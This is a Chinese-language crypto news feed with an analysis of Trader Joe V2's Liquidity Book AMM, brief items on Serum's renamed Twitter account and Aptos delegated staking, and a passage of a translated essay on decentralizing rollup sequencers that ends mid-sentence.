Joe 在 ARB 的交易中脱颖而出，在第一个星期内与 Uniswap V3 基本上平分了 ARB 的链上交易份额，这主要归功于 Trader Joe V2 独特的集中流动性模型 （Liquidity Book）。自 Joe V2 上线半年以来，一直是增长最快的 DEX 之一。 (资料来源：DefiLlama) 一、Joe V2 Joe V2 是一个基于新型 AMM 模型Liquidity Book 的 DEX，目前部署在了 Avalanche、BSC 和 Arbitrum 上。Liquidity Book 可以理解为集中流动性的订单簿，将流动性按价格比例分成了一个个的 Bin，每个 Bin 代表了一个单点价格，每个 Bin 之间的距离为价格的固定百分比，这个百分比的大小是协议根据市场因素设置的，也就是说 Joe V2 是按比例来划分价格的，而不是按价格精度，即最小价差为 1 个 bin，在当前 Bin 的流动性消耗完之前，价格不会发生变动。 (资料来源：Joe 官网) 目前 Joe V2 提供了 4 种流动性策略：Spot、Curve、Bid-Ask、Wide。后面三种都是按系统预设的形状来分配流动性，比如 Curve 模式适用于稳定币，Bid-Ask 适用于高波动性 token，Wide 模式类似 Uniswap V2 的均匀流动性，只有 Spot 模式可以自定义集中流动性的范围。 Spot 模式下，用户可以选择在任意的 Bin上添加流动性，每个Bin 代表了固定比率的价差，可以直接修改Bins 的数量来在想要的价格比例范围内添加流动性，相较于 Uniswap V3 而言对普通用户更加友好。相当于是将流动性按一个个 Bin 的价格挂单，类似于 Orderbook 的模式，因此 Joe V2 将这种集中流动性机制称为 Liquidity book。 (资料来源：Joe 官网) 在 Liquidity book 中，用户添加流动性后，Joe会返回给用户带有不同 Token ID 的 ERC-1155 LBT，反映了用户在不同价格上添加的流动性，而相同 Token ID 的 LBT 代表了在同一个价格上添加的流动性，彼此之间是同质化的，不论是谁添加的。而在 Uniswap V3 中，用户添加流动性后返回的是一个个 NFT，两者之间有较大差别，因此 Joe 的Liquidity book 在可组合性方面有更大的优势。 (资料来源：Joe V2 白皮书) 如上图所示，Uniswap V3 中的流动性是横向聚合的，而 Joe V2 中的流动性可以通过每个 Bin 来纵向叠加，垂直聚合的好处在于，允许流动性的可替代。 在了解了 Joe V2 和 Uniswap V3 两者集中流动性的区别后，就可以直观的理解 Joe V2 是如何在 ARB 的交易中取得优势的。举个简单的例子：假设 ARB 的价格为 1，Joe 上的流动性按[0.998,1,1.002,1.004..]分布，当 ARB 的价格为 1.001 时，Uniswap 的价格会同步变动，而 Joe 上的 ARB 价格在 1 这个 Bin 上的流动性消耗完之前是不会发生变化的，因此在 Joe 上购买 ARB 具有价格优势，所以吸引了大量的聚合交易从 Joe 的路径走，提高了 Joe 的资本效率。 因此在特定的价格走势下（高波动率），Joe 较 Uniswap 会有一定的汇率优势，而随着波动率下降，这一优势又回变为劣势，这也是为什么 Joe 在今年以来交易量迅速上涨以及在 ARB 上线之初捕获大量交易量的原因。 (资料来源：Token termina) 显而易见的是，Joe 在通过 Liquidity book 机制捕获更多的交易量的同时， LP 会承担相对更多的无常损失（相当于廉价出售了部分 token)。针对这点，Joe 提供的对应解决办法是设置了可变的手续费机制。 Joe 的手续费包括了两部分：固定的基本费用（0.01%-0.2%）以及基于波动率的可变费用。可变费用是通过“波动定价”的机制计算的，该机制仅根据内部交易实时衡量波动性，而不依赖外部数据。 (资料来源：Joe V2 白皮书) Bin step(s) : 两个连续 bin 之间的价格比 Volatility Accumulator(v_a) : 一种通过交易量和频率来衡量波动率的机制 简单来说就是 bin 越大、波动率越高的 token 收取的手续费率也越高。通过动态调整的可变费用来弥补 LP 相对更多的那部分无常损失，所以这部分无常损失并不明显。但手续费比率高了又势必会导致部分交易份额的流失，所以这点并不能完美解决，Joe 在汇率优势和手续费率之间做了动态平衡的抉择。 现货 DEX 的护城河在于流动性（TVL）、资本效率（AMM 效率）以及协议的价值捕获能力。从以上三点来看，Uniswap 和 Curve 在流动性方面都做到了目前的极致，Uniswap V3 通过首创的集中流动性 AMM 能够提供极高的资本效率，但协议几乎没有捕获价值的能力，只能通过费用抽成的开关来控制；Curve 由于大部分是稳定币所以资本效率相对 Uniswap 和 Joe 来说较低，但通过 veToken 的 Bribes 机制为协议捕获了大量的价值； Joe 虽然在流动性方面相对头部的 DEX 来说仍有较大的差距，但通过改进的Liquidity book能够提供不输于（在特定情况下超过）Uniswap V3 的资本效率。不过 Joe 的缺点和 Uniswap 一样明显：难以为协议捕获价值，目前仅可通过费用抽成来控制，而费用抽成势必会影响到市场份额。未来可通过高效的 AMM 来吸引其他协议提供的激励来扩大市场规模，也存在一定的机会。 Joe在 4 月 7 日公布了 V2.1 版本的更新内容，主要包括：自动管理流动性头寸的AutoPools、一键式增产农业 AutoPool Farms、不需许可的 Permissionless Pool、优化的 gas 费结构、限价订单等功能，这些功能预计会在未来几周内上线。Avalanche 将在 5 月举行峰会，Joe 作为 Avalanche 上最大的 DEX 以及 Arbitrum 上增长最快、资本效率最高的 DEX 之一，在近期获得了大量的曝光，值得期待后续的表现。  ( 5 min )
    Serum官推已更名并删除之前所有推文
    PANews 4月21日消息，据链上数据分析师ZachXBT的推文，Solana生态DeFi项目Serum原20.7万粉丝的官方推特账号已被改名为Luka，并删除了之前所有的推文，并将其头像更换为Milady NFT以及推广“shitcoins”。经查看，该账号目前最早的推文系4月20日发布，之后的内容均与Serum无关。 此前4月12日消息，韩国数字资产交易所协会DAXA的成员宣布将下架Serum (SRM)，因Serum项目没有正常运行，其协议无法使用。  ( 1 min )
    公链项目Aptos推出委托质押功能
    PANews 4月21日消息，据官方推特，公链项目Aptos宣布推出委托质押功能，用户现在可以将他们的抵押权委托给受信任的网络验证器，并作为个人获得奖励。多个钱包可以将APT质押在一个受信任的验证节点上。用户可以委托他们的抵押权并以低至11 APT的价格参与质押。  ( 1 min )
    2万字深度技术文：为什么现在没有真正意义上的Rollup？
    原文：《Rollups Aren't Real》by Jon Charbonneau 翻译：Franci, ECN Kelvin 认为 ZK-rollup 是假的，但我认为任何 "rollup" 都不是真的，至少现在不是。那么，我们如何使它们成为真正的 rollup？ 目前的 rollup 基本上都是需信任且需许可的： 来源: L2 Beat 在本文中，我会对以下几个方面进行概述： 许多其他提高 rollup 安全性的要求将不在本文的讨论范围内 (比如减少升级密钥的权力、实现强健的和无需许可的证明，等等)。 首先，简单复习一下 SCR 的工作原理，这是我们当前在以太坊上常见的 rollup。从高层次来说，一个 SCR 基本上包括： 1. 一批有序的输入数组（在L1上，所以交易数据必须在 DA 层发布）。 2. （rollup 节点软件）在它们上面运行的代码。 3. 对这些输入运行函数产生的确定性输出（rollup 区块链）。 cr:How Rollups *actually* work - Kelvin Fichter 更具体地说，传统的定序器通过向其在 L1 的智能合约发布 rollup 区块的状态根和 calldata（最终以 data blob的形式）来对 rollup 区块生成承诺。新的区块不断扩展 rollup 对区块头。链上合约运行一个 rollup 的轻客户端，将其区块头的哈希值保存起来。在收到有效性证明后，或在欺诈证明窗口期过后，该智能合约就会敲定结算。如果一个未被敲定的 ORU 区块无效，它（以及所有后续的区块）会因为欺诈证明对提交而被回滚，最后成为孤块。证明帮助保护桥接： 交易 batch 的提交应该需要应用某种类型的保证金/押金规则，以抑制恶意行为的发生。例如，当一个欺诈性的 batch 被提交了 (即无效的状态根)，押金将被销毁，并按某种比例分给欺诈挑战者。 SCR 具有“合并的共识”- 即可在链上验证的共识协议。Rollup 协议可以完全在 L1 智能合约中运行。它不影响主链的任意共识规则，也不需要这些规则的支持。 去中心化共识协议通常包括四个主要特征(注意，以下是一个非常简化的版本，并没有完全列出共识协议的各种类型。比如无领导协议)： 1. 区块有效性函数- 状态转换函数。区块有效性在链下执行，然后通过有效性证明或者欺诈证明机制来证明其有效性。 2. 分叉选择规则- 如何在两条原本有效的链之间选择。Rollup 旨在从构造上实现无分叉，所以不严格要求有一个复杂的分叉选择规则。 3. 领导者选举算法- 选出一位领导者，ta 可以通过添加新区块以扩展链头，从而使区块链不断延伸。 4. 抗女巫机制- PoW、PoS 等 可以认为 1 和 2 已经实现了，那么对于去中心化一个定序器的最低要求便是某种形式的抗女巫攻击 + 领导者选举。Fuel Labs 一直都是这个阵营的支持者，他们认为 PoS: 当然，也有其他论据很好地反驳了 Fuel Labs 的观点，认为需要有 L2 本地共识。稍后会有更多关于这方面的内容。 SR 仍然将交易数据发布到 L1 上用于 DA 和共识，但 SR 会在 rollup 中处理 “结算” 客户端 (James Prestwich 说叫“结算层”显得很蠢，我本来就已经很蠢了，所以无所谓) 。DA 层告诉你数据是存在的，但是它不会定义 rollup 的规范链 (canonical chain) 是哪一条： 来源：Celestia 相关说明：有人提出一个有趣的观点，即不存在全球规范链 (只有决定哪条链为规范链的桥接)，对此有人提出有力的反驳。以及其他相关长推，阐述了 rollup 在主权性和 (自动) 可组合性之间的权衡。我鼓励大家浏览一下这些观点，还有最近这条关于 Bitcoin 主权 rollup 的长推。 在任何情况下，上述所讨论到的 “规范链” 框架都很容易理解，并且这不是本文的重点，所以我还是会继续使用 “规范链” 这个术语。有关 rollup 一般架构的更多背景，请参考此处。 智能合约 Rollup 如上所述，定序器通常负责批处理交易并将它们发布到 L1 智能合约。但是，用户也可以自己直接在合约中插入一些交易: 当然，这是低效且昂贵的，所以定序器将负责批处理交易，并在常规的过程中一起提交这些 batch。这将在许多交易中摊销固定成本，从而实现更好的压缩: 定序器承诺最终在 L1 上发布这些交易，同时我们可以计算输出，以获得更软的预确认 (softer pre-confirmation): 当定序器将这些交易发布到 L1 时，输出被敲定: 通常情况下，用户只会在从 L1 桥接资产到 L2 时需要自己提交交易。这被添加为 L1 合约的输入，它告诉 L2 可以铸造由相应 L1 锁定资产支持的资金了。 如果我想把我的钱提回 L1，我可以在 L2 上销毁它，并告诉 L1 把我的钱还给我。L1 不知道 L2发生了什么 (L1 并没有执行这些交易)，所以需要在请求解锁我在 L1 上的资金的同时提交一份证明。 因为我来自 L2，所以定序器可以发起这个提款请求并提交给 L1。然而，这样做的话就说明需要信任 L2 定序器的抗审查能力 (CR, censorship resistance)，也就是说不再获得 L1 的同样安全保证。也许这些定序器不喜欢你，或者定序器宕机了，所以你只能永远卡在 L2 上了。 Rollup 可以通过多种措施在本地提高自己的 CR。这可能包括具有高价值质押的 L2 共识集、一些交易打包列表的各种变体，添加阈值加密等等，以最大限度地减少 L2 用户审查的可能性。这些都很棒，但理想情况下，我们还是希望 L2 用户拥有与 L1 相同的抗审查保证。 如果用户正在被审查，他们需要一些方法来强制退出 rollup 或者强制将他们的交易打包到 L2 中。这就是为什么 L2 用户应该保留做一些事情的能力，比如自己可以强制将他们的 L2 交易直接包含到 L1 合约中。例如，被审查的用户可能能够直接向 L1 提交单个操作的 batch。 来源:Starknet 逃生舱口研究 但是，如果 L2 用户的唯一选择是将交易直接强制包含到 L1 中，这并不理想。这对于许多低价值用户来说可能是不可行的，特别是当 L1 的交互成本越来越高时。更高级的设计可能能够绕过这个限制，在 rollup 之间强制进行原子交易。Kalman Lajkó正在研究一个迷人的设计，强烈推荐大家阅读。它希望在具有共享证明和共享 DA 层的系统中启用跨 rollup 强制交易打包。 主权 Rollup 强制打包在 SR 中的运作不同，因为如前所述，它们执行的分叉选择规则与 SCR 不同(Sovereign Labs 写了一篇关于这方面的帖子)。 在 SCR 中，L1 智能合约执行 rollup 的分叉选择规则。除了验证 ZK 证明之外，它还检查该证明是否建立在之前的证明 (而不是其他的证明分叉) 之上，以及它是否处理了所有在 L1 上发送的相关强制打包交易。 SR 可以将它的 ZK 证明发布到 L1 DA 层，以 calldata/blobs 的形式向所有人公开 (即使 L1 没有验证它们)。然后，只需添加一个规则，即新证明只有建立在前一个有效证明的基础上才有效。该规则可以在客户端强制执行，但它随后会要求用户扫描链的历史，直至创世区块或者某个检查点。 而另一种方式是，可以将 calldata 与 L1 区块头联系起来，并且可以添加一个声明 “我已经扫描了 DA 层的证明 (从区块 X 开始，到区块 Y 结束)，并且这个证明基于最新的有效证明构建”。这在证明中直接证明了分叉选择规则，而不需要在客户端强制执行。 由于已经扫描了证明，同时还可以证明已经扫描了任何强制打包交易。任何人都可以在愿意的时候直接将强制打包交易发布到 L1 DA 层。 以太坊上的链上证明验证通常非常昂贵，因此目前的 ZKR (如 StarkEx) 倾向于每隔几个小时才向以太坊发布一次 STARK。相对于交易的数量，证明的增长往往非常缓慢，因此这样对交易生成 batch 可以有效地节省成本。然而，这么长的敲定时间并不理想。 如果一个 rollup 只是在链上发布状态差异 (而不是完整的交易数据)，那么即使是全节点也不能在没有证明的情况下确保这种最终确定性。如果 rollup 的完整交易数据被发布到链上，那么至少任意全节点都可以与 L1 一起敲定交易。 通常情况下，轻节点只依赖于中心化的定序器进行软确认。然而，ZKR 可以在 p2p 层快速生成并分发 ZK 证明，以便所有轻客户端实时查看，并以 L1 速度为它们提供最终确定性。稍后，这些证明可以递归地批处理并发布到 L1。 这就是Sovereign Labs 计划要做的，还有其他类似方案，比如Scroll 计划在链上发布中间的 ZK 证明 (但不验证它们)，因此轻客户端可以相当快地同步。使用这两种结构，rollup 可以以L1的速度开始敲定区块，而不是等待将 batch 发送上链以节省开销。但是请注意，在这两种情况下只是将“硬敲定时间”降低到绝对最小值 (L1 速度)。 不同的定序器设计永远不会比 L1 区块时间更快地敲定。不同的定序器设计所能做的最好的事情就是提供比 L1 区块时间更快的预确认，不同设计提供的确定性水平不同 (例如，你可能会相信具有高价值质押的去中心化共识集的 L2 的预确认，而不是相信单一型需信任的定序器的预确认)。 Patrick McCorry最近也对rollup 交易最终确定性的层级进行了很好的概述。现在你可能已经明白了基本的概念: 交易“最终确定性”具有不同的层级，这取决于谁提供了承诺 (以及 rollup 结构是怎么样的) 不同的参与者在给定的时间会对 “真相” 有不同的认知水平 (例如，L2 轻客户端、全节点和L1 智能合约将在不同的时间了解相同的“真相”) 目前，大多数 rollup 都有一个需许可的定序器来提交交易 batch。这是非常高效的，但实时活性和抗审查能力都较弱。如果有适当的保障措施，这对许多用例来说可能是可以接受的： 例如，备用定序器可以由 rollup 的治理选出。通过这种设置，用户获得了安全性、抗审查和活性。即使从长远来看，单个活跃型的定序器也可能是一个可行的选择。 Base 很可能是一种趋势的开始。公司现在可以管理和优化他们的产品，就像他们对企业区块链的炒作一样，但现在它实际上可以成为一个无需许可的、安全的和可互操作的链。 Base 打算最终去中心化他们的定序器集，但关键是他们并不严格地 “需要” 去中心化，而其他方案并不是 (或者只需要非常有限范围内的去中心化，如一个小规模的定序器集)。需要明确的是，这需要 rollup 来实现必要的步骤，来确保 rollup 是安全的且维护抗审查性 (移除任意的即时升级功能、实现健壮的证明、强制交易打包、MEV 拍卖等)。而当前的 rollup 并不安全。 这将是对中心化/托管产品的巨大改进，而不是最大限度地取代去中心化产品。Rollup 只是扩展了设计空间。这在很大程度上也是为什么定序器去中心化并不是大多数 rollup 团队的首要任务 —— 对于确保用户安全、抗审查性和减少对 rollup 运营者的信任，其他项要重要得多。 然而，如果用户/其他方需要介入以维持活性和 “实时抗审查性” (不同于通过 L1 进行强制打包交易获取的 “最终抗审查性”)，这仍然不是理想的。基于强制打包交易机制，低价值用户介入可能成本高昂或不切实际。高度偏好实时抗审查和活性最大保证的 rolllup 将寻求去中心化。在运营单一许可型定序器时，也可能存在监管方面的考虑。 对单一型定序器的一个直接改进是允许实现分布在不同地理位置的少数定序器 (可能是其他声誉良好的公司)。定序器可以简单地以轮流的方式平均轮换。让他们交纳保证金将有助于激励诚实的行为。 这个一般概念大家应该不陌生 — 多签桥接通常有一些受信任的公司，或者类似于服务于Arbitrum 的 AnyTrust DA的委员会。但重要的是，定序器在这里的权力要小得多 (用户不依赖于 rollup 定序器来确保安全，不像多签桥接运营者可以提取锁定的资金)。总的来说，比起单一型定序器，这种方案具有更好的抗审查性和活性，但仍然不完善。 与其根据质押份额来分配定序器的权利，rollup 也可以通过智能合约直接运行MEV拍卖(MEVA)。任何人都可以竞标排序交易权，拍卖合约将排序权授予出价最高者。这可以针对每个区块进行，也可以针对一段时间 (例如，竞标第二天的排序权)。获胜的定序者仍应交纳一定的保证金，以便在他们出现问题/恶意行为时可以对他们进行处罚。 来源:ZK Rollups 的去中心化 在实践中，如果拍卖没有直接嵌入到协议中，则自然会导致协议外的 MEVA。如果排序权是基于质押权重来确定的，某种形式的 MEV-Boost/PBS 类型的拍卖系统将会出现，类似于我们今天在 L1 以太坊上看到的。在这种情况下，费用/MEV 可能会流向质押者。如果拍卖被纳入协议，那么费用/MEV 可能会进入某种形式的 rollup DAO 财库 (尽管在两种情况下它也可以被分配、销毁等等)。 任何人都可以作为定序者无需许可地加入，但前提是必须质押 (可能是 L2 的原生代币)。质押机制可以通过智能合约在基础层建立，也可以直接在 rollup 中建立。Rollup 可以使用这个 PoS + 某种形式的链上随机性，以此实现领导者选择机制 (像一些 L1 做的那样)。 任何人获得区块排序权的概率 = ta 的质押占总质押的比例。可以通过丢失奖励、怠工惩罚和罚没对错误/恶意定序器施加惩罚。 请注意，由于上述原因，这不要求定序器达成共识。Rollup 使用 L1 作为共识，因此不需要本地共识 (local consensus)。质押权重在轮换机制中起主导作用，决定了哪些定序器可以提议区块，但他们不需要对其他定序器提议的区块进行投票。 这可以给任意长度的 epoch 授予排序权。某个参与者可能有权为 100 个连续的 rollup 区块排序，或者 1000 个，等等。更长的周期可能效率更高，并且在给定的时间里只需要一个定序器。然而，给扩展的垄断者授权也会带来其他外部效应。或者，领导者可以像普通 L1 那样交替使用每个区块。 Dymension就是这样一个项目。Dymension Hub 将是 Cosmos 中典型的使用诚实大多数 PoS 机制的 L1。它的 L2 (“RollApp”) 将使用它来结算和达成共识，同时依赖 Celestia 作为数据可用性存储 (因此这些 L2 实际上是 “optimistic chain” 而不是 “rollup”)。 根据他们的Litepaper，去中心化的 RollApp 排序将需要质押 DYM (Dymension 的原生资产) 在 Dymension Hub 中。领导者选举由相应的 DYM 质押数量决定。这些定序器将从各自的 rollup 中获得收入 (费用和其他 MEV)，然后向 Dymension Hub 和 Celestia 支付相关的基础成本。 由于这种机制，几乎所有在这个堆栈中捕获的价值都会直接累积到 DYM 代币中。而如果把自己的原生代币用于排序的 rollup (如 StarkNet 打算使用 STRK 所做的那样，下文会介绍) 会将价值累积到他们自己的代币中。Dymension Hub 的设置类似于以太坊 rollup 只能使用 ETH 进行定序者选举。 在我看来，这极大地降低了在这样的结算层上部署 L2 的动机。大多数 L2 团队自然希望他们自己的代币能够积累有意义的价值 (而不仅仅是用作费用代币，就像这里可能的那样)。毕竟他们是在经营一个企业。 如果需要，也可以在 L1 敲定之前将 L2 质押用在定序器选举和 L2 本地共识上。 此外，STRK 可以以某种形式用于： DA 的 PoS 共识 —用来激励提供替代性的 DA 链 (alt-DA, 比如 volition)，这需要单独的共识。 证明 —激励证明者生成 STARK。 交易流程如下： 1. 定序— 定序器排序交易并提议一个区块 2. L2 共识— StarkNet 共识协议对已提议的区块签名 3. 证明生成— 证明者为已达成共识的区块生成证明 4. L1 状态更新— 向 L1 提交证明以更新状态 有关 StarkNet 计划的更多细节，可以参考这个系列文章。 正如我们所看到的，L2 可能实现也可能不实现它自己的本地共识 (即，L2 验证者在将其区块发送给 L1 以获得最终共识之前对它们进行签名)。比方说，L1 智能合约可以基于自己设的规则做不同的反应: 如果 rollup 没有本地共识，需要做的就是: 注意，不管是哪种情况，L2 的价值都可以累积到 rollup 代币中。即使 L2 代币只是用于某种形式的领导者选举 (而不是共识投票)，排序权产生的价值仍然会累积到 L2 代币中。 L2 共识的缺点 (只有领导者选举) 现在让我们来讨论在 L1 敲定之前具有/不具有本地共识之间的权衡。 Fuel Labs 团队提出的一个论点是，L2 本地共识会降低抗审查能力。“这使得大多数验证者可以审查新区块，这意味着用户资金可能会被冻结。Rollup 不需要 PoS 来守护，因为 rollup 是由以太坊保护的。”这里是一个有点灰色的区域。如前所述，即使定序器出现审查交易的情况，rollup 仍然可以提供抗审查方案 (例如，直接强制交易打包进入 L1，或更复杂的设计，如Kalman Lajkó正在研究的那个)。 另一种说法是，完全的共识只是"效率低下"。例如： 前者比后者简单得多。 当然，这因所选择的特定的定序器设计和共识机制而有很大不同。 此外，请注意，有些人对在定序器去中心化中使用 PoS 提出了担忧，如这里和这里。L1 与 L2 的错综复杂的关系可能使处理某些类型的攻击更具挑战性。 添加 L2 共识的优点 (加上领导者选举) 对于定序器来说，最大的目标可能是在 L1 提供的完全安全保障之前给用户提供更快的软确认。看一下StarkNet 的机制要求： “强健和快速的 L2 最终确定性是 StarkNet 的目标。由于只有在交易 batch 被 L1 证明之后，StarkNet 的状态才会被敲定 (可能需要几个小时)。因此，在下一个 batch 被证明之前，L2 去中心化协议应该就规划好的交易执行顺序做出有意义的承诺。” 添加某种形式的共识 (由许多定序者提供的经济安全支持) 有助于在这期间提供更强的保证(rollup 区块的预先确认是没问题的)： “Starknet 共识必须具有很强的责任感，即违反安全和活性的行为可以通过罚没任何一部分参与者 (包括恶意的大多数质押) 来执行惩罚。” Rollup 也可以灵活地尝试不同共识机制光谱之间的权衡点，因为它们最终总是可以回到以太坊 L1 的安全性和动态可用性。 以上所有方法都赋予了定序器以某种形式创建 rollup 区块的特权。例如，PoS 是无需许可加入的，但给定 slot 被选择的 L2 定序者是当时唯一能够提交区块的一方。另外，也有一些相关的提议，建议不给任何 L2 定序器以特权。这些设计依赖于 L1 本身来进行交易排序。 完全“无政府状态” Vitalik 早在 2021 年就提出了这个“完全无政府状态”的想法。允许任何人在任何时间提交交易 batch。第一笔扩展 rollup 的交易会被接受。它满足了上面讨论如何去中心化定序器的两个最低要求: 这就足够了，因为 L1 已经提供了安全性。如果 L2 区块已经发布到 L1 上，那么只有当它们是无效的或构建在无效块之上时 (将被回滚)，它们才会变成孤块。如果它们是有效的，并且发布到 L1，那么它们具有与 L1 本身相同的安全保证。 Vitalik 指出这种方案有一个很大的问题是，它的效率会非常低。多个参与者可能并行提交 batch，并且只有一个会被成功打包。这在生成证明时浪费了大量的精力，或者说发布交易 batch 花费了许多不必要的 gas。想要知道你的交易是否会很快被打包，这是非常麻烦的，而且效益很低。 基于基础链的 Rollup (Based Rollups) 然而，现在可以通过 PBS 使这种无政府状态的设计可行。它允许更严格的排序，每个 L1 区块最多一个 rollup 区块，因而不会浪费 gas。(尽管可能有浪费的计算)。L1 构建者可以只打包最高价值的 rollup 区块，并根据搜索者的输入出价构建该区块，这与任何 L1 区块类似。为了避免计算的浪费，默认情况下也可以合理地使 ZK 证明过程需许可(具有相应的机制允许无需许可地回滚)。 这就是Justin Drake最近提出的“基于基础链的 Rollup”的核心理念。他使用这个术语来指代由 L1 (“基础”层) 主导排序的 rollup。L1 提议者只需确保在他们自己的 L1 区块中纳入 rollup 区块(大概是通过构建者)。这是一个简单的设置，可以立即提供 L1 活性和去中心化。他们可以避免一些棘手的问题，比如在 L2 定序器正在审查的情况下解决强制打包交易的问题。此外，由于不需要定序器签名验证，因此可以减少一些 gas 开销。 一个有趣的问题是关于这些 L2 交易在哪里被处理。L2 客户端需要将这些交易发送到某个地方，以便 L1 搜索者/构建者接收它们并针对它们创建区块和数据 blob。它们可能会被发送到: 一个明显的缺点是基于基础链的 Rollup 限制了定序器的灵活性。例如: 有趣的是，这正是早期 rollup 团队正在构建的: https://twitter.com/DZack23/status/1635503593070657536?s=20 Justin 指出，再质押 (restaking) 可能会有所帮助。 https://twitter.com/jon_charb/status/1635898303106756609?s=20 这些都是EigenLayer的研究领域，至少在他们的白皮书中提到过。目前还不清楚这是否是一个切实可行的解决方案。为了通过再质押有效地改善这些缺点，可能会寄望于所有的质押者都选择运行它。因此，这个想法这样来实现似乎更合乎逻辑：让想要这样做的质押者子集选择进入一个单独的共享排序层(稍后会详细介绍)。 效率证明 (Proof of Efficiency,PoE) 去年，Polygon Hermez 提出了一个名为PoE的提案。这是另一种专门针对 ZKR 的 L1 定序变体。这里的定序器是一个完全开放的角色，任何人都可以提交交易 batch (即完全无政府状态/基于基础链的 Rollup，因此它具有相同的限制)。PoE 机制由两个参与方组成两个步骤: 定序器收集 L2 用户交易并通过发送一个 L1 交易 (其中包括所有选定的 L2 交易的数据) 来创建一个交易 batch。定序器将根据收到的经济价值来提交区块，或者为用户提供服务级体验 (例如，在每个 L1 区块中发布一个交易 batch，即便这会使 L2 交易更昂贵，因为用户想要交易更快完成)。 定序器将支付 L1 gas 费来发布交易 batch，并且协议在 MATIC 中定义了必须存入的额外费用。一旦发布，获胜的 batch 立即定义新的链头，允许任何节点确定性地计算出当前状态。然后需要一个有效性证明来敲定轻客户端的见证 (包括 L1 智能合约)。 聚合器在这里指的是 ZK-证明器。同样，这是一个无需许可的角色，任何人都可以竞争。非常简单： 聚合器可以自由地运行自己的成本效益分析，以找到发布证明的适当频率。如果他们赢得了比赛，他们会得到一部分费用，但如果等待更长的时间以发布新的证明，他们的固定验证成本将摊销到更多的交易中。如果聚合器晚发布了一个证明 (它并没有证明一个新的状态)，那么合约将只执行一个复原函数。证明器浪费了计算，但他们会省下大部分 gas。 费用的分配方式如下: 纯分叉选择规则 RollkitSR 有一个非常类似的“纯分叉选择规则”概念，如这里所述，指的是没有特权定序器的任意 rollup。节点听从 DA 层的规则进行排序，并应用 “先到先得” 的分叉选择规则。 L1 排序经济学 这些 L1 排序设计对经济学有很重要的影响，因为L2 交易产生的 MEV 现在将在 L1 区块生产者级别被捕获。在 “传统的” L2 排序模型中，L2 交易产生的 MEV 由 L2 定序器/共识参与者/拍卖机制捕获。目前还不清楚在这种情况下，有多少 MEV 会泄漏到基础层。 对于这是好事还是坏事，很难说： 利用 L1 排序可能也行得通，特别是能够更容易地启动一个 rollup，但让它们放弃如此多的 MEV 给 L1 (而它们本身自己就可以捕获这些 MEV) 是不太可能的。Rollup 的最大好处之一确实是经济上的—— 一旦 DA 层开始扩展，这些成本就会下降，他们只需要向 L1 支付很少的费用。更慢的区块时间和原始的 MEV 方法对用户来说也不太理想。 作为一个简短的题外话，请注意，上面在 PoE 中描述的竞争市场可能围绕最快的聚合器形成中心化局面。ZK 证明者市场大体上有两个经济问题需要解决： 让我们看看ZK 证明者市场的两个简单模型： 在一个极端，你可以有一个开放的竞争模式。在一个无许可的证明者市场中，所有的证明者都争先恐后的为 rollup 定序器/共识产生的区块创建一个证明。第一个创建证明的人可以获得指定给证明者的任何奖励。在寻找最佳证明者方面，这种模式是非常高效的。 这看起来非常类似于工作量证明挖矿。然而，这里有一个独特的区别 —— 证明是确定性的计算。因此，一个具有较小但始终如一的优势的证明者几乎 “总是” 会赢。这个市场很容易形成中心化的局面。 在 PoW 挖矿中，随机性方面有更好的属性 —— 如果我有 1% 的挖矿算力，我应该得到 1% 的奖励。 这种竞争性的证明模型在计算冗余方面也是次优的 —— 许多证明者会相互竞争并花费资源来创建证明，但只有一个会胜出 (类似于 PoW 挖矿)。 或者，可以在证明者之间轮换，让他们每个人都有机会 (例如，基于一些质押，亦或是基于声誉)。这样可能更加去中心化，但可能会带来证明延迟这样的低效率情况 (“慢” 的证明者将有机会创建证明，而另一个证明者可能已经有能力更快更有效地创建证明)。然而，它可以防止许多证明者竞相创建一个证明而浪费了计算，毕竟最终只会有一个证明有效。 此外，如果轮到的人不能产生证明 (无论是恶意的还是偶然的)，就出现问题了。如果轮次的时间很长 (例如，当时轮到的证明者可以垄断好几个小时的证明生成)，并且证明者宕机了，协议将很难恢复。如果轮次时间很短，其他证明者可以介入并赶上主要证明者未能生成证明的地方。 你也可以允许任何人发布证明，但只有指定的证明者才能在给定的时间内获得奖励。所以如果这些指定的证明者宕机了，另外的证明者可以发布证明，但他们无法获得奖励。这将是无私的，因为花费资源进行计算却没有回报。 Scroll 正在探索更多基于轮换的方法，将执行跟踪分配给随机选择的 “roller” (证明者)： 还有许多有趣的问题，即在排序时应如何在用户层面上收取证明费用。关于这些主题的进一步讨论可以在这里找到: - Scroll的Ye Zhang在他的文章 《去中心化的 zk-Rollup》 中讨论了在不需要 L2 共识的情况下，这种基于质押 + MEV 拍卖来获取排序权的轮换 roller 网络的可能性 - 《Scroll 架构的概览》提供了一个关于可能的 roller 模型的更多细节 - Starknet 去中心化协议 IV - 协议中的证明 - Starknet 去中心化协议 VI - The Buffer Problem 大多数早期的解决方案都假设，每个 rollup 都需要完全靠自己弄清楚如何去中心化它们的定序器。但情况并非如此，比如上文就提到的 L1 排序选项。许多 rollup 可以选择使用一个共享定序器 (SS, Shared Sequencer)。这有一些很大的好处： 简单地使用本地 L1 作为许多 L2 的定序器，基本上有几个缺点： L1 排序所能做的最好的事情是消除 L1 的计算瓶颈 (比如，如果交易执行是吞吐量的瓶颈)，并在通信复杂性上实现小的因素改进。 那么，我们能否设计出专门的、更高效的共享排序层，而不是让 L1 来做这件事…… Metro 是针对共享排序层的一个提案。你可以参考Evan Forbes的研究文章、关于模块化的演讲和“共享安全峰会演讲”了解更多细节。由Josh Bowen领导的团队Astria正致力于实施 Metro 的设计。 当前的 Rollup 节点实际上处理了三件事： 这里的关键属性是 “执行和排序分离”。这样情况下共享定序器： 排序是无状态的—— 共享定序器节点不再需要为所有不同的 rollup 存储完整的状态。它们移除了执行计算。传统定序器目前面临的巨大瓶颈已经不复存在。 当把执行从共识中抽离出来时，共识的效率就会变得特别高。这个过程只是被限制在信息广播层 (因此变得很快)。如果节点所要做的只是生成已排序的交易区块，并在不执行所有操作的情况下就该区块达成共识，那么节点可以非常高效。执行和证明可以在排序共识达成后由另一方负责。 汇集定序器安全性和去中心化 共享定序器节点可以保持相对轻量级，甚至可以在水平上进行扩展 (通过选择一个随机的共识节点子集来排序不同的交易子集)。结果 —— 可能会使这个排序层更加去中心化。而传统的定序器则需要存储着链的大状态并对其实现完整的执行。 此外，我们将许多链上的资源汇集起来 —— 不需要在许多 rollup 之间分割 PoS 共识。把它们都集中在一个地方。与许多自己实现定序者子集的 rollup 相比，这种方式可能会产生一个更加去中心化的定序者子集 (抗审查)，在这个子集上质押了更多可被罚没的价值 (抗重组)。这很重要，因为： 